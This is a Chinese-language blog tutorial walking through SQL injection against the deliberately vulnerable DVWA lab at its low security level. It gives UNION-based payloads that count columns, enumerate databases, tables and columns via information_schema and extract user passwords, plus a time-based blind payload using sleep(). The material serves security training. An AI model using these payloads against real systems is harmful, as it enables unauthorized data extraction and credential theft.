DVWA中low级别的SQL注入

该博客详细介绍了DVWA中低级别SQL注入的两种主要类型:基于错误和基于时间的注入。首先,通过错误注入确定注入点,然后利用UNION查询猜解数据库字段数,查询数据库信息,如数据库名、表名、字段名。接着,通过联合查询获取所需数据。当错误注入无法获取信息时,使用基于时间的盲注,通过SLEEP函数判断SQL语句的执行。整个过程包括判断注入点、字段猜解、信息查询等步骤,展示了SQL注入攻击的实战技巧。
摘要由CSDN通过智能技术生成

DVWA中低级别的SQL注入

基于错误的注入:
构造特殊的SQL语句注入到数据库中,看得到的返回信息,确认注入点,如果数据库对输入的某些SQL语句无返回信息时,可以进行基于时间的注入(sleep函数)

1.基于union的注入
一般通过错误和布尔注入确认注入点之后,
第一步猜解数据库的字段数
//猜解数据库的字段数(列)

' union select 1'

后端代码执行如下:
在这里插入图片描述

select first_name,last_name from dvwa.users where user_id='' union select 1 -- ''

此时数据库提示
The used SELECT statements have a different number of columns
使用的SELECT语句具有不同的列数
接下来我们继续猜解
后端代码执行如下:
在这里插入图片描述

select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- '';
' union select 1,2'

此时我们发现猜解成功,原始语句的字段数为2
在这里插入图片描述
这个时候我们可以进行联合查询,查出我们所需的信息。
‘union select version(),database()’
‘union select user(),database()’
查询到数据库的名称为dvwa
在这里插入图片描述
接着我们可以通过数据库字典来查询数据库中的所有库和表
查询所有库名
‘union select table_schema, 1 from information_schema.tables-- ’
后端执行代码如下:
select first_name,last_name from dvwa.users where user_id=’'union select table_name,1 from information_schema.tables – ‘’;
在这里插入图片描述

查询所有库中的表名:
'union select table_name, 1 from information_schema.tables – ’
在这里插入图片描述
查询数据库和所有的表名:
类似于把班级分类然后把学生放到对应的班级中。库就是班级,表就是学生
‘union select table_schema,group_concat(table_name) from information_schema.tables group by table_schema – ’
库:dvwa
表:users,guestbook
在这里插入图片描述
接下来我们可以继续查询表的结构,以users为例:
‘union select 1,column_name from information_schema.columns where table_name=‘users’ – ’
在这里插入图片描述
验证下:
在这里插入图片描述
接下来根据表中的字段来查询字段对应的信息呗:
‘union select user,password from users;
在这里插入图片描述
我们受限于原始语句的字段只能查询两列,借助字符串拼接来查询所有字段:
‘union select password, concat(first_name,’’,last_name,’’,user) from users – ’
在这里插入图片描述
基于时间的布尔盲注:
有些情况下我们输入一些SQL语句时,服务器不会返回任何信息供我们判断是否执行了语句。
我们可以通过基于时间的盲注,s通过leep函数来判断SQL语句的执行时间
’ or sleep(2) – ’
在这里插入图片描述
手工注入的流程:
判断是否有注入点,判断的方法有两种
第一种是错误的注入,加个 ’ 引号让他报错。
如果报错说明单引号被带入到数据库中进行查询
我们就可以组织SQL语句进行信息收集。
如果不能报错也有两种可能,第一种是被数据库过滤了,第二种是数据库收到了消息但是不返回任何消息,我们可以基于时间的注入。
找到注入点之后,采用union联合查询的方式猜解数据库原始语句的字段,猜解完成后,查询数据库的信息。查询数据库,表名,字段名,根据字段名查询对应的数据。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值